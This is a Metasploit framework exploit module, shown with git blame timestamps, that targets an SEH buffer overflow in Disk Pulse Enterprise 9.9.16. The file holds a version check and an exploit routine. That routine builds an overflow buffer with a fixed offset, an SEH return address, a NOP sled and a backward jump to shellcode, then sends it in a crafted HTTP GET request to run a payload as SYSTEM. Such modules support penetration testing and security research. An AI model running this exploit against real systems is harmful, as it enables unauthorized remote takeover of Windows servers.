metasploit-framework/modules/exploits/windows/http/disk_pulse_enterprise_get.rb

93 lines
2.5 KiB
Ruby
Raw Normal View History

2017-09-13 15:19:24 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2017-09-13 16:13:33 +00:00
2017-09-13 15:19:24 +00:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2017-09-13 16:13:33 +00:00
2017-09-13 15:19:24 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2017-09-13 16:13:33 +00:00
2017-09-13 15:19:24 +00:00
def initialize(info = {})
super(update_info(info,
2017-09-13 16:02:13 +00:00
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
2017-09-13 16:46:57 +00:00
'Description' => %q(
2017-09-13 15:19:24 +00:00
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
2017-09-13 16:02:13 +00:00
9.9.16. If a malicious user sends a crafted HTTP GET request
2017-09-13 15:19:24 +00:00
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account.
2017-09-13 16:46:57 +00:00
),
2017-09-13 15:19:24 +00:00
'License' => MSF_LICENSE,
'Author' =>
[
2017-09-13 15:36:36 +00:00
'Chance Johnson', # msf module - albatross@loftwing.net
2017-09-13 15:19:24 +00:00
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
],
'References' =>
[
[ 'EDB', '42560' ]
],
'DefaultOptions' =>
{
2017-09-13 15:56:32 +00:00
'EXITFUNC' => 'thread'
2017-09-13 15:19:24 +00:00
},
'Platform' => 'win',
'Payload' =>
{
2017-09-13 15:36:36 +00:00
'EncoderType' => "alpha_mixed",
2017-09-13 15:19:24 +00:00
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' =>
[
[ 'Disk Pulse Enterprise 9.9.16',
{
2017-09-13 15:36:36 +00:00
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
'Offset' => 2492
2017-09-13 16:46:57 +00:00
}]
2017-09-13 15:19:24 +00:00
],
'Privileged' => true,
2017-09-13 15:36:36 +00:00
'DisclosureDate' => 'Aug 25 2017',
2017-09-13 15:19:24 +00:00
'DefaultTarget' => 0))
2017-09-13 16:13:33 +00:00
2017-09-13 16:46:57 +00:00
register_options([Opt::RPORT(80)])
2017-09-13 15:19:24 +00:00
end
2017-09-13 16:13:33 +00:00
2017-09-13 15:19:24 +00:00
def check
2017-09-13 16:46:57 +00:00
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)
2017-09-13 16:13:33 +00:00
2017-09-13 16:46:57 +00:00
if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
2017-09-13 15:19:24 +00:00
return Exploit::CheckCode::Appears
end
2017-09-13 16:13:33 +00:00
2017-09-13 15:19:24 +00:00
return Exploit::CheckCode::Safe
end
2017-09-13 16:13:33 +00:00
2017-09-13 15:19:24 +00:00
def exploit
2017-09-13 15:36:36 +00:00
connect
print_status("Generating exploit...")
exp = payload.encoded
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
2017-09-13 15:56:32 +00:00
exp << generate_seh_record(target.ret)
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
2017-09-13 15:36:36 +00:00
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
2017-09-13 16:02:13 +00:00
exp << 'B' * (5000 - exp.length) # padding
2017-09-13 15:36:36 +00:00
2017-09-13 15:56:32 +00:00
print_status("Sending exploit...")
2017-09-13 15:36:36 +00:00
2017-09-13 16:46:57 +00:00
send_request_cgi(
'uri' => '/../' + exp,
'method' => 'GET',
'host' => '4.2.2.2',
'connection' => 'keep-alive'
)
2017-09-13 15:36:36 +00:00
2017-09-13 16:46:57 +00:00
handler
disconnect
2017-09-13 15:19:24 +00:00
end
2017-09-13 16:13:33 +00:00
end